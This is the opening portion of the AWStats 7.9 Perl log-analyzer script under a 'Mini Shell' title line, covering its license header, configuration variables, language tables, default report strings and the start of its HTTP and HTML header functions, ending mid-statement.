Mini Shell
#!/usr/bin/perl
#------------------------------------------------------------------------------
# Free realtime web server logfile analyzer to show advanced web statistics.
# Works from command line or as a CGI. You must use this script as often as
# necessary from your scheduler to update your statistics and from command
# line or a browser to read report results.
# See AWStats documentation (in docs/ directory) for all setup instructions.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#------------------------------------------------------------------------------
require 5.007;
#$|=1;
#use warnings; # Must be used in test mode only. This reduce a little process speed
#use diagnostics; # Must be used in test mode only. This reduce a lot of process speed
use strict;
no strict "refs";
use Time::Local
; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules
use Socket;
use Encode;
use File::Spec;
#------------------------------------------------------------------------------
# Defines
#------------------------------------------------------------------------------
use vars qw/ $REVISION $VERSION /;
$REVISION = '20230108';
$VERSION = "7.9 (build $REVISION)";
# ----- Constants -----
use vars qw/
$DEBUGFORCED $NBOFLINESFORBENCHMARK $FRAMEWIDTH $NBOFLASTUPDATELOOKUPTOSAVE
$LIMITFLUSH $NEWDAYVISITTIMEOUT $VISITTIMEOUT $NOTSORTEDRECORDTOLERANCE
$WIDTHCOLICON $TOOLTIPON
$lastyearbeforeupdate $lastmonthbeforeupdate $lastdaybeforeupdate $lasthourbeforeupdate $lastdatebeforeupdate
$NOHTML
/;
$DEBUGFORCED = 0
; # Force debug level to log lesser level into debug.log file (Keep this value to 0)
$NBOFLINESFORBENCHMARK = 8192
; # Benchmark info are printing every NBOFLINESFORBENCHMARK lines (Must be a power of 2)
$FRAMEWIDTH = 240; # Width of left frame when UseFramesWhenCGI is on
$NBOFLASTUPDATELOOKUPTOSAVE =
500; # Nb of records to save in DNS last update cache file
$LIMITFLUSH =
5000; # Nb of records in data arrays after how we need to flush data on disk
$NEWDAYVISITTIMEOUT = 764041; # Delay between 01-23:59:59 and 02-00:00:00
$VISITTIMEOUT = 10000
; # Lapse of time to consider a page load as a new visit. 10000 = 1 hour (Default = 10000)
$NOTSORTEDRECORDTOLERANCE = 20000
; # Lapse of time to accept a record if not in correct order. 20000 = 2 hour (Default = 20000)
$WIDTHCOLICON = 32;
$TOOLTIPON = 0; # Tooltips plugin loaded
$NOHTML = 0; # Suppress the html headers
# ----- Running variables -----
use vars qw/
$DIR $PROG $Extension
$Debug $ShowSteps
$DebugResetDone $DNSLookupAlreadyDone
$RunAsCli $UpdateFor $HeaderHTTPSent $HeaderHTMLSent
$LastLine $LastLineNumber $LastLineOffset $LastLineChecksum $LastUpdate
$lowerval
$PluginMode
$MetaRobot
$AverageVisits $AveragePages $AverageHits $AverageBytes
$TotalUnique $TotalVisits $TotalHostsKnown $TotalHostsUnknown
$TotalPages $TotalHits $TotalBytes $TotalHitsErrors
$TotalNotViewedPages $TotalNotViewedHits $TotalNotViewedBytes
$TotalEntries $TotalExits $TotalBytesPages $TotalDifferentPages
$TotalKeyphrases $TotalKeywords $TotalDifferentKeyphrases $TotalDifferentKeywords
$TotalSearchEnginesPages $TotalSearchEnginesHits $TotalRefererPages $TotalRefererHits $TotalDifferentSearchEngines $TotalDifferentReferer
$FrameName $Center $FileConfig $FileSuffix $Host $YearRequired $MonthRequired $DayRequired $HourRequired
$QueryString $SiteConfig $StaticLinks $PageCode $PageDir $PerlParsingFormat $UserAgent
$pos_vh $pos_host $pos_logname $pos_date $pos_tz $pos_method $pos_url $pos_code $pos_size
$pos_referer $pos_agent $pos_query $pos_gzipin $pos_gzipout $pos_compratio $pos_timetaken
$pos_cluster $pos_emails $pos_emailr $pos_hostr @pos_extra
/;
$DIR = $PROG = $Extension = '';
$Debug = $ShowSteps = 0;
$DebugResetDone = $DNSLookupAlreadyDone = 0;
$RunAsCli = $UpdateFor = $HeaderHTTPSent = $HeaderHTMLSent = 0;
$LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = 0;
$LastUpdate = 0;
$lowerval = 0;
$PluginMode = '';
$MetaRobot = 0;
$AverageVisits = $AveragePages = $AverageHits = $AverageBytes = 0;
$TotalUnique = $TotalVisits = $TotalHostsKnown = $TotalHostsUnknown = 0;
$TotalPages = $TotalHits = $TotalBytes = $TotalHitsErrors = 0;
$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
$TotalEntries = $TotalExits = $TotalBytesPages = $TotalDifferentPages = 0;
$TotalKeyphrases = $TotalKeywords = $TotalDifferentKeyphrases = 0;
$TotalDifferentKeywords = 0;
$TotalSearchEnginesPages = $TotalSearchEnginesHits = $TotalRefererPages = 0;
$TotalRefererHits = $TotalDifferentSearchEngines = $TotalDifferentReferer = 0;
(
$FrameName, $Center, $FileConfig, $FileSuffix,
$Host, $YearRequired, $MonthRequired, $DayRequired,
$HourRequired, $QueryString, $SiteConfig, $StaticLinks,
$PageCode, $PageDir, $PerlParsingFormat, $UserAgent
)
= ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' );
# ----- Plugins variable -----
use vars qw/ %PluginsLoaded $PluginDir $AtLeastOneSectionPlugin /;
%PluginsLoaded = ();
$PluginDir = '';
$AtLeastOneSectionPlugin = 0;
# ----- Time vars -----
use vars qw/
$starttime
$nowtime $tomorrowtime
$nowweekofmonth $nowweekofyear $nowdaymod $nowsmallyear
$nowsec $nowmin $nowhour $nowday $nowmonth $nowyear $nowwday $nowyday $nowns
$StartSeconds $StartMicroseconds
/;
$StartSeconds = $StartMicroseconds = 0;
# ----- Variables for config file reading -----
use vars qw/
$FoundNotPageList
/;
$FoundNotPageList = 0;
# ----- Config file variables -----
use vars qw/
$StaticExt
$DNSStaticCacheFile
$DNSLastUpdateCacheFile
$MiscTrackerUrl
$Lang
$MaxRowsInHTMLOutput
$MaxLengthOfShownURL
$MaxLengthOfStoredURL
$MaxLengthOfStoredUA
%BarPng
$BuildReportFormat
$BuildHistoryFormat
$ExtraTrackedRowsLimit
$DatabaseBreak
$SectionsToBeSaved
/;
$StaticExt = 'html';
$DNSStaticCacheFile = 'dnscache.txt';
$DNSLastUpdateCacheFile = 'dnscachelastupdate.txt';
$MiscTrackerUrl = '/js/awstats_misc_tracker.js';
$Lang = 'auto';
$SectionsToBeSaved = 'all';
$MaxRowsInHTMLOutput = 1000;
$MaxLengthOfShownURL = 64;
$MaxLengthOfStoredURL = 256; # Note: Apache LimitRequestLine is default to 8190
$MaxLengthOfStoredUA = 256;
%BarPng = (
'vv' => 'vv.png',
'vu' => 'vu.png',
'hu' => 'hu.png',
'vp' => 'vp.png',
'hp' => 'hp.png',
'he' => 'he.png',
'hx' => 'hx.png',
'vh' => 'vh.png',
'hh' => 'hh.png',
'vk' => 'vk.png',
'hk' => 'hk.png'
);
$BuildReportFormat = 'html';
$BuildHistoryFormat = 'text';
$ExtraTrackedRowsLimit = 500;
$DatabaseBreak = 'month';
use vars qw/
$DebugMessages $AllowToUpdateStatsFromBrowser $EnableLockForUpdate $DNSLookup $DynamicDNSLookup $AllowAccessFromWebToAuthenticatedUsersOnly
$BarHeight $BarWidth $CreateDirDataIfNotExists $KeepBackupOfHistoricFiles
$NbOfLinesParsed $NbOfLinesDropped $NbOfLinesCorrupted $NbOfLinesComment $NbOfLinesBlank $NbOfOldLines $NbOfNewLines
$NbOfLinesShowsteps $NewLinePhase $NbOfLinesForCorruptedLog $PurgeLogFile $ArchiveLogRecords
$ShowDropped $ShowCorrupted $ShowUnknownOrigin $ShowDirectOrigin $ShowLinksToWhoIs
$ShowAuthenticatedUsers $ShowFileSizesStats $ShowScreenSizeStats $ShowSMTPErrorsStats
$ShowEMailSenders $ShowEMailReceivers $ShowWormsStats $ShowClusterStats
$IncludeInternalLinksInOriginSection
$AuthenticatedUsersNotCaseSensitive
$Expires $UpdateStats $MigrateStats $URLNotCaseSensitive $URLWithQuery $URLReferrerWithQuery
$DecodeUA $DecodePunycode
/;
(
$DebugMessages,
$AllowToUpdateStatsFromBrowser,
$EnableLockForUpdate,
$DNSLookup,
$DynamicDNSLookup,
$AllowAccessFromWebToAuthenticatedUsersOnly,
$BarHeight,
$BarWidth,
$CreateDirDataIfNotExists,
$KeepBackupOfHistoricFiles,
$NbOfLinesParsed,
$NbOfLinesDropped,
$NbOfLinesCorrupted,
$NbOfLinesComment,
$NbOfLinesBlank,
$NbOfOldLines,
$NbOfNewLines,
$NbOfLinesShowsteps,
$NewLinePhase,
$NbOfLinesForCorruptedLog,
$PurgeLogFile,
$ArchiveLogRecords,
$ShowDropped,
$ShowCorrupted,
$ShowUnknownOrigin,
$ShowDirectOrigin,
$ShowLinksToWhoIs,
$ShowAuthenticatedUsers,
$ShowFileSizesStats,
$ShowScreenSizeStats,
$ShowSMTPErrorsStats,
$ShowEMailSenders,
$ShowEMailReceivers,
$ShowWormsStats,
$ShowClusterStats,
$IncludeInternalLinksInOriginSection,
$AuthenticatedUsersNotCaseSensitive,
$Expires,
$UpdateStats,
$MigrateStats,
$URLNotCaseSensitive,
$URLWithQuery,
$URLReferrerWithQuery,
$DecodeUA,
$DecodePunycode
)
= (
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
);
use vars qw/
$DetailedReportsOnNewWindows
$FirstDayOfWeek $KeyWordsNotSensitive $SaveDatabaseFilesWithPermissionsForEveryone
$WarningMessages $ShowLinksOnUrl $UseFramesWhenCGI
$ShowMenu $ShowSummary $ShowMonthStats $ShowDaysOfMonthStats $ShowDaysOfWeekStats
$ShowHoursStats $ShowDomainsStats $ShowHostsStats
$ShowRobotsStats $ShowSessionsStats $ShowPagesStats $ShowFileTypesStats $ShowDownloadsStats
$ShowOSStats $ShowBrowsersStats $ShowOriginStats
$ShowKeyphrasesStats $ShowKeywordsStats $ShowMiscStats $ShowHTTPErrorsStats $ShowHTTPErrorsPageDetail
$AddDataArrayMonthStats $AddDataArrayShowDaysOfMonthStats $AddDataArrayShowDaysOfWeekStats $AddDataArrayShowHoursStats
/;
(
$DetailedReportsOnNewWindows,
$FirstDayOfWeek,
$KeyWordsNotSensitive,
$SaveDatabaseFilesWithPermissionsForEveryone,
$WarningMessages,
$ShowLinksOnUrl,
$UseFramesWhenCGI,
$ShowMenu,
$ShowSummary,
$ShowMonthStats,
$ShowDaysOfMonthStats,
$ShowDaysOfWeekStats,
$ShowHoursStats,
$ShowDomainsStats,
$ShowHostsStats,
$ShowRobotsStats,
$ShowSessionsStats,
$ShowPagesStats,
$ShowFileTypesStats,
$ShowDownloadsStats,
$ShowOSStats,
$ShowBrowsersStats,
$ShowOriginStats,
$ShowKeyphrasesStats,
$ShowKeywordsStats,
$ShowMiscStats,
$ShowHTTPErrorsStats,
$ShowHTTPErrorsPageDetail,
$AddDataArrayMonthStats,
$AddDataArrayShowDaysOfMonthStats,
$AddDataArrayShowDaysOfWeekStats,
$AddDataArrayShowHoursStats
)
= (
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
);
use vars qw/
$AllowFullYearView
$LevelForRobotsDetection $LevelForWormsDetection $LevelForBrowsersDetection $LevelForOSDetection $LevelForRefererAnalyze
$LevelForFileTypesDetection $LevelForSearchEnginesDetection $LevelForKeywordsDetection
/;
(
$AllowFullYearView, $LevelForRobotsDetection,
$LevelForWormsDetection, $LevelForBrowsersDetection,
$LevelForOSDetection, $LevelForRefererAnalyze,
$LevelForFileTypesDetection, $LevelForSearchEnginesDetection,
$LevelForKeywordsDetection
)
= ( 2, 2, 0, 2, 2, 2, 2, 2, 2 );
use vars qw/
$DirLock $DirCgi $DirConfig $DirData $DirIcons $DirLang $AWScript $ArchiveFileName
$AllowAccessFromWebToFollowingIPAddresses $HTMLHeadSection $HTMLEndSection $LinksToWhoIs $LinksToIPWhoIs
$LogFile $LogType $LogFormat $LogSeparator $Logo $LogoLink $StyleSheet $WrapperScript $SiteDomain
$UseHTTPSLinkForUrl $URLQuerySeparators $URLWithAnchor $ErrorMessages $ShowFlagLinks
$AddLinkToExternalCGIWrapper
/;
(
$DirLock, $DirCgi,
$DirConfig, $DirData,
$DirIcons, $DirLang,
$AWScript, $ArchiveFileName,
$AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection,
$HTMLEndSection, $LinksToWhoIs,
$LinksToIPWhoIs, $LogFile,
$LogType, $LogFormat,
$LogSeparator, $Logo,
$LogoLink, $StyleSheet,
$WrapperScript, $SiteDomain,
$UseHTTPSLinkForUrl, $URLQuerySeparators,
$URLWithAnchor, $ErrorMessages,
$ShowFlagLinks, $AddLinkToExternalCGIWrapper
)
= (
'', '', '', '', '', '', '', '', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', '', '', '', '', '', '', ''
);
use vars qw/
$color_Background $color_TableBG $color_TableBGRowTitle
$color_TableBGTitle $color_TableBorder $color_TableRowTitle $color_TableTitle
$color_text $color_textpercent $color_titletext $color_weekend $color_link $color_hover $color_other
$color_h $color_k $color_p $color_e $color_x $color_s $color_u $color_v
/;
(
$color_Background, $color_TableBG, $color_TableBGRowTitle,
$color_TableBGTitle, $color_TableBorder, $color_TableRowTitle,
$color_TableTitle, $color_text, $color_textpercent,
$color_titletext, $color_weekend, $color_link,
$color_hover, $color_other, $color_h,
$color_k, $color_p, $color_e,
$color_x, $color_s, $color_u,
$color_v
)
= (
'', '', '', '', '', '', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', '', ''
);
# ---------- Init arrays --------
use vars qw/
@RobotsSearchIDOrder_list1 @RobotsSearchIDOrder_list2 @RobotsSearchIDOrder_listgen
@SearchEnginesSearchIDOrder_list1 @SearchEnginesSearchIDOrder_list2 @SearchEnginesSearchIDOrder_listgen
@BrowsersSearchIDOrder @OSSearchIDOrder @WordsToCleanSearchUrl
@WormsSearchIDOrder
@RobotsSearchIDOrder @SearchEnginesSearchIDOrder
@_from_p @_from_h
@_time_p @_time_h @_time_k @_time_nv_p @_time_nv_h @_time_nv_k
@DOWIndex @fieldlib @keylist
/;
@RobotsSearchIDOrder = @SearchEnginesSearchIDOrder = ();
@_from_p = @_from_h = ();
@_time_p = @_time_h = @_time_k = @_time_nv_p = @_time_nv_h = @_time_nv_k = ();
@DOWIndex = @fieldlib = @keylist = ();
use vars qw/
@MiscListOrder %MiscListCalc
%OSFamily %BrowsersFamily @SessionsRange %SessionsAverage
@PayloadRange %PayloadAverage
%LangBrowserToLangAwstats %LangAWStatsToFlagAwstats %BrowsersSafariBuildToVersionHash
@HostAliases @AllowAccessFromWebToFollowingAuthenticatedUsers
@DefaultFile @SkipDNSLookupFor
@SkipHosts @SkipUserAgents @SkipFiles @SkipReferrers @NotPageFiles
@OnlyHosts @OnlyUserAgents @OnlyFiles @OnlyUsers
@URLWithQueryWithOnly @URLWithQueryWithout
@ExtraName @ExtraCondition @ExtraStatTypes @MaxNbOfExtra @MinHitExtra
@ExtraFirstColumnTitle @ExtraFirstColumnValues @ExtraFirstColumnFunction @ExtraFirstColumnFormat
@ExtraCodeFilter @ExtraConditionType @ExtraConditionTypeVal
@ExtraFirstColumnValuesType @ExtraFirstColumnValuesTypeVal
@ExtraAddAverageRow @ExtraAddSumRow
@PluginsToLoad
/;
@MiscListOrder = (
'AddToFavourites', 'JavascriptDisabled',
'JavaEnabled', 'DirectorSupport',
'FlashSupport', 'RealPlayerSupport',
'QuickTimeSupport', 'WindowsMediaPlayerSupport',
'PDFSupport'
);
%MiscListCalc = (
'TotalMisc' => '',
'AddToFavourites' => 'u',
'JavascriptDisabled' => 'hm',
'JavaEnabled' => 'hm',
'DirectorSupport' => 'hm',
'FlashSupport' => 'hm',
'RealPlayerSupport' => 'hm',
'QuickTimeSupport' => 'hm',
'WindowsMediaPlayerSupport' => 'hm',
'PDFSupport' => 'hm'
);
@SessionsRange =
( '0s-30s', '30s-2mn', '2mn-5mn', '5mn-15mn', '15mn-30mn', '30mn-1h', '1h+' );
%SessionsAverage = (
'0s-30s', 15, '30s-2mn', 75, '2mn-5mn', 210,
'5mn-15mn', 600, '15mn-30mn', 1350, '30mn-1h', 2700,
'1h+', 3600
);
@PayloadRange = ('0-44', '44-100', '100-500', '500-1K', '1K-2K', '2K-5K', '5K+');
%PayloadAverage = (
'0-44', 44, '44-100', 100, '100-500', 500, '500-1K', 1024,
'1K-2K', 2048, '2K-5K', 5120, '5K+', 5121
);
# HTTP-Accept or Lang parameter => AWStats code to use for lang
# ISO-639-1 or 2 or other => awstats-xx.txt where xx is ISO-639-1
%LangBrowserToLangAwstats = (
'sq' => 'al',
'ar' => 'ar',
'ba' => 'ba',
'bg' => 'bg',
'zh-tw' => 'tw',
'zh' => 'cn',
'cs' => 'cz',
'de' => 'de',
'da' => 'dk',
'en' => 'en',
'et' => 'et',
'fi' => 'fi',
'fr' => 'fr',
'gl' => 'gl',
'es' => 'es',
'eu' => 'eu',
'ca' => 'ca',
'el' => 'gr',
'hu' => 'hu',
'is' => 'is',
'in' => 'id',
'it' => 'it',
'ja' => 'jp',
'kr' => 'ko',
'lv' => 'lv',
'nl' => 'nl',
'no' => 'nb',
'nb' => 'nb',
'nn' => 'nn',
'pl' => 'pl',
'pt' => 'pt',
'pt-br' => 'br',
'ro' => 'ro',
'ru' => 'ru',
'sr' => 'sr',
'sk' => 'sk',
'sv' => 'se',
'th' => 'th',
'tr' => 'tr',
'uk' => 'ua',
'cy' => 'cy',
'wlk' => 'cy'
);
%LangAWStatsToFlagAwstats =
( # If flag (country ISO-3166 two letters) is not same than AWStats Lang code
'ca' => 'es_cat',
'et' => 'ee',
'eu' => 'es_eu',
'cy' => 'wlk',
'gl' => 'glg',
'he' => 'il',
'ko' => 'kr',
'ar' => 'sa',
'sr' => 'cs'
);
@HostAliases = @AllowAccessFromWebToFollowingAuthenticatedUsers = ();
@DefaultFile = @SkipDNSLookupFor = ();
@SkipHosts = @SkipUserAgents = @NotPageFiles = @SkipFiles = @SkipReferrers = ();
@OnlyHosts = @OnlyUserAgents = @OnlyFiles = @OnlyUsers = ();
@URLWithQueryWithOnly = @URLWithQueryWithout = ();
@ExtraName = @ExtraCondition = @ExtraStatTypes = ();
@MaxNbOfExtra = @MinHitExtra = ();
@ExtraFirstColumnTitle = @ExtraFirstColumnValues = ();
@ExtraFirstColumnFunction = @ExtraFirstColumnFormat = ();
@ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = ();
@ExtraFirstColumnValuesType = @ExtraFirstColumnValuesTypeVal = ();
@ExtraAddAverageRow = @ExtraAddSumRow = ();
@PluginsToLoad = ();
# ---------- Init hash arrays --------
use vars qw/
%BrowsersHashIDLib %BrowsersHashIcon %BrowsersHereAreGrabbers
%DomainsHashIDLib
%MimeHashLib %MimeHashFamily
%OSHashID %OSHashLib
%RobotsHashIDLib %RobotsAffiliateLib
%SearchEnginesHashID %SearchEnginesHashLib %SearchEnginesWithKeysNotInQuery %SearchEnginesKnownUrl %NotSearchEnginesKeys
%WormsHashID %WormsHashLib %WormsHashTarget
/;
use vars qw/
%HTMLOutput %NoLoadPlugin %FilterIn %FilterEx
%BadFormatWarning
%MonthNumLib
%ValidHTTPCodes %ValidSMTPCodes
%TrapInfosForHTTPErrorCodes %NotPageList %DayBytes %DayHits %DayPages %DayVisits
%MaxNbOf %MinHit
%ListOfYears %HistoryAlreadyFlushed %PosInFile %ValueInFile
%val %nextval %egal
%TmpDNSLookup %TmpOS %TmpRefererServer %TmpRobot %TmpBrowser %MyDNSTable
/;
%HTMLOutput = %NoLoadPlugin = %FilterIn = %FilterEx = ();
%BadFormatWarning = ();
%MonthNumLib = ();
%ValidHTTPCodes = %ValidSMTPCodes = ();
%TrapInfosForHTTPErrorCodes = ();
%NotPageList = ();
%DayBytes = %DayHits = %DayPages = %DayVisits = ();
%MaxNbOf = %MinHit = ();
%ListOfYears = %HistoryAlreadyFlushed = %PosInFile = %ValueInFile = ();
%val = %nextval = %egal = ();
%TmpDNSLookup = %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
%MyDNSTable = ();
use vars qw/
%FirstTime %LastTime
%MonthHostsKnown %MonthHostsUnknown
%MonthUnique %MonthVisits
%MonthPages %MonthHits %MonthBytes
%MonthNotViewedPages %MonthNotViewedHits %MonthNotViewedBytes
%_session %_browser_h %_browser_p
%_filesize
%_domener_p %_domener_h %_domener_k %_errors_h %_errors_k
%_filetypes_h %_filetypes_k %_filetypes_gz_in %_filetypes_gz_out
%_host_p %_host_h %_host_k %_host_l %_host_s %_host_u
%_waithost_e %_waithost_l %_waithost_s %_waithost_u
%_keyphrases %_keywords %_os_h %_os_p %_pagesrefs_p %_pagesrefs_h %_robot_h %_robot_k %_robot_l %_robot_r
%_worm_h %_worm_k %_worm_l %_login_h %_login_p %_login_k %_login_l %_screensize_h
%_misc_p %_misc_h %_misc_k
%_cluster_p %_cluster_h %_cluster_k
%_se_referrals_p %_se_referrals_h %_sider_h %_referer_h %_err_host_h %_url_p %_url_k %_url_e %_url_x
%_downloads
%_unknownreferer_l %_unknownrefererbrowser_l
%_emails_h %_emails_k %_emails_l %_emailr_h %_emailr_k %_emailr_l
/;
&Init_HashArray();
# ---------- Init Regex --------
use vars qw/ $regclean1 $regclean2 $regdate /;
$regclean1 = qr/<(recnb|\/td)>/i;
$regclean2 = qr/<\/?[^<>]+>/i;
$regdate = qr/(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)/;
# ---------- Init Tie::hash arrays --------
# Didn't find a tie that increase speed
#use Tie::StdHash;
#use Tie::Cache::LRU;
#tie %_host_p, 'Tie::StdHash';
#tie %TmpOS, 'Tie::Cache::LRU';
# PROTOCOL CODES
use vars qw/ %httpcodelib %ftpcodelib %smtpcodelib /;
# DEFAULT MESSAGE
use vars qw/ @Message /;
@Message = (
'Unknown',
'Unknown (unresolved ip)',
'Others',
'View details',
'Day',
'Month',
'Year',
'Statistics for',
'First visit',
'Last visit',
'Number of visits',
'Unique visitors',
'Visit',
'different keywords',
'Search',
'Percent',
'Traffic',
'Domains/Countries',
'Visitors',
'Pages-URL',
'Hours',
'Browsers',
'',
'Referers',
'Never updated (See \'Build/Update\' on awstats_setup.html page)',
'Visitors domains/countries',
'hosts',
'pages',
'different pages-url',
'Viewed',
'Other words',
'Pages not found',
'HTTP Error codes',
'Netscape versions',
'IE versions',
'Last Update',
'Connect to site from',
'Origin',
'Direct address / Bookmarks',
'Origin unknown',
'Links from an Internet Search Engine',
'Links from an external page (other web sites except search engines)',
'Links from an internal page (other page on same site)',
'Keyphrases used on search engines',
'Keywords used on search engines',
'Unresolved IP Address',
'Unknown OS (Referer field)',
'Required but not found URLs (HTTP code 404)',
'IP Address',
'Error Hits',
'Unknown browsers (Referer field)',
'different robots',
'visits/visitor',
'Robots/Spiders visitors',
'Free realtime logfile analyzer for advanced web statistics',
'of',
'Pages',
'Hits',
'Versions',
'Operating Systems',
'Jan',
'Feb',
'Mar',
'Apr',
'May',
'Jun',
'Jul',
'Aug',
'Sep',
'Oct',
'Nov',
'Dec',
'Navigation',
'File type',
'Update now',
'Bandwidth',
'Back to main page',
'Top',
'dd mmm yyyy - HH:MM',
'Filter',
'Full list',
'Hosts',
'Known',
'Robots',
'Sun',
'Mon',
'Tue',
'Wed',
'Thu',
'Fri',
'Sat',
'Days of week',
'Who',
'When',
'Authenticated users',
'Min',
'Average',
'Max',
'Web compression',
'Bandwidth saved',
'Compression on',
'Compression result',
'Total',
'different keyphrases',
'Entry',
'Code',
'Average size',
'Links from a NewsGroup',
'KB',
'MB',
'GB',
'Grabber',
'Yes',
'No',
'Info.',
'OK',
'Exit',
'Visits duration',
'Close window',
'Bytes',
'Search Keyphrases',
'Search Keywords',
'different refering search engines',
'different refering sites',
'Other phrases',
'Other logins (and/or anonymous users)',
'Refering search engines',
'Refering sites',
'Summary',
'Exact value not available in "Year" view',
'Data value arrays',
'Sender EMail',
'Receiver EMail',
'Reported period',
'Extra/Marketing',
'Screen sizes',
'Worm/Virus attacks',
'Hit on favorite icon',
'Days of month',
'Miscellaneous',
'Browsers with Java support',
'Browsers with Macromedia Director Support',
'Browsers with Flash Support',
'Browsers with Real audio playing support',
'Browsers with Quictime audio playing support',
'Browsers with Windows Media audio playing support',
'Browsers with PDF support',
'SMTP Error codes',
'Countries',
'Mails',
'Size',
'First',
'Last',
'Exclude filter',
'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
'Cluster',
'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
'Numbers after + are successful hits on "robots.txt" files',
'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.',
'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.',
'Traffic viewed',
'Traffic not viewed',
'Monthly history',
'Worms',
'different worms',
'Mails successfully sent',
'Mails failed/refused',
'Sensitive targets',
'Javascript disabled',
'Created by',
'plugins',
'Regions',
'Cities',
'Opera versions',
'Safari versions',
'Chrome versions',
'Konqueror versions',
',',
'Downloads',
'Export CSV',
'TB',
'Frequency[/s]',
'Number of requests',
'Period',
's',
'Request average frequency [/s]',
'Request size'
);
#------------------------------------------------------------------------------
# Functions
#------------------------------------------------------------------------------
# Function to solve pb with openvms
sub file_filt (@) {
my @retval;
foreach my $fl (@_) {
$fl =~ tr/^//d;
push @retval, $fl;
}
return sort @retval;
}
#------------------------------------------------------------------------------
# Function: Write on output header of HTTP answer
# Parameters: None
# Input: $HeaderHTTPSent $BuildReportFormat $PageCode $Expires
# Output: $HeaderHTTPSent=1
# Return: None
#------------------------------------------------------------------------------
sub http_head {
if ( !$HeaderHTTPSent ) {
my $newpagecode = $PageCode ? $PageCode : "utf-8";
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
? "Content-type: text/html; charset=$newpagecode\n"
: "Content-type: text/xml; charset=$newpagecode\n"
);
}
else { print "Content-type: text/html; charset=$newpagecode\n"; }
# Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR)
if ( $Expires =~ /^\d+$/ ) {
print "Cache-Control: public\n";
print "Last-Modified: " . gmtime($starttime) . "\n";
print "Expires: " . ( gmtime( $starttime + $Expires ) ) . "\n";
}
print "\n";
}
$HeaderHTTPSent++;
}
#------------------------------------------------------------------------------
# Function: Write on output header of HTML page
# Parameters: None
# Input: %HTMLOutput $PluginMode $Expires $Lang $StyleSheet $HTMLHeadSection $PageCode $PageDir
# Output: $HeaderHTMLSent=1
# Return: None
#------------------------------------------------------------------------------
sub html_head {
my $dir = $PageDir ? 'right' : 'left';
if ($NOHTML) { return; }
if ( scalar keys %HTMLOutput || $PluginMode ) {
my $periodtitle = " ($YearRequired";
$periodtitle .= ( $MonthRequired ne 'all' ? "-$MonthRequired" : "" );
$periodtitle .= ( $DayRequired ne '' ? "-$DayRequired" : "" );
$periodtitle .= ( $HourRequired ne '' ? "-$HourRequired" : "" );
$periodtitle .= ")";
# Write head section
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
if ($PageCode) {
print "<?xml version=\"1.0\" encoding=\"$PageCode\"?>\n";
}
else { print "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n"; }
if ( $FrameName ne 'index' ) {
print
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n";
}
else {
print
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\n";
}
print
"<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"$Lang\">\n";
}
else {
if ( $FrameName ne 'index' ) {
print
"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n";
}
else {
print
"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\" \"http://www.w3.org/TR/html4/frameset.dtd\">\n";
}
print '<html lang="' . $Lang . '"'
. ( $PageDir ? ' dir="rtl"' : '' ) . ">\n";
}
print "<head>\n";
my $endtag = '>';
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
$endtag = ' />';
}
# Affiche tag meta generator
print
"<meta name=\"generator\" content=\"AWStats $VERSION from config file awstats.$SiteConfig.conf (http://www.awstats.org)\"$endtag\n";
# Affiche tag meta robots
if ($MetaRobot) {
print "<meta name=\"robots\" content=\""
. ( $FrameName eq 'mainleft' ? 'no' : '' )
. "index,"
. ( $FrameName eq 'mainleft'
|| $FrameName eq 'index' ? '' : 'no' )
. "follow\"$endtag\n";
}
else {
print "<meta name=\"robots\" content=\"noindex,nofollow\"$endtag\n";
}
# Affiche tag meta content-type
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
? "<meta http-equiv=\"content-type\" content=\"text/html; charset="
. ( $PageCode ? $PageCode : "iso-8859-1" )
. "\" />\n"
: "<meta http-equiv=\"content-type\" content=\"text/xml; charset="
. ( $PageCode ? $PageCode : "iso-8859-1" )
. "\"$endtag\n"
);
}
else {
print
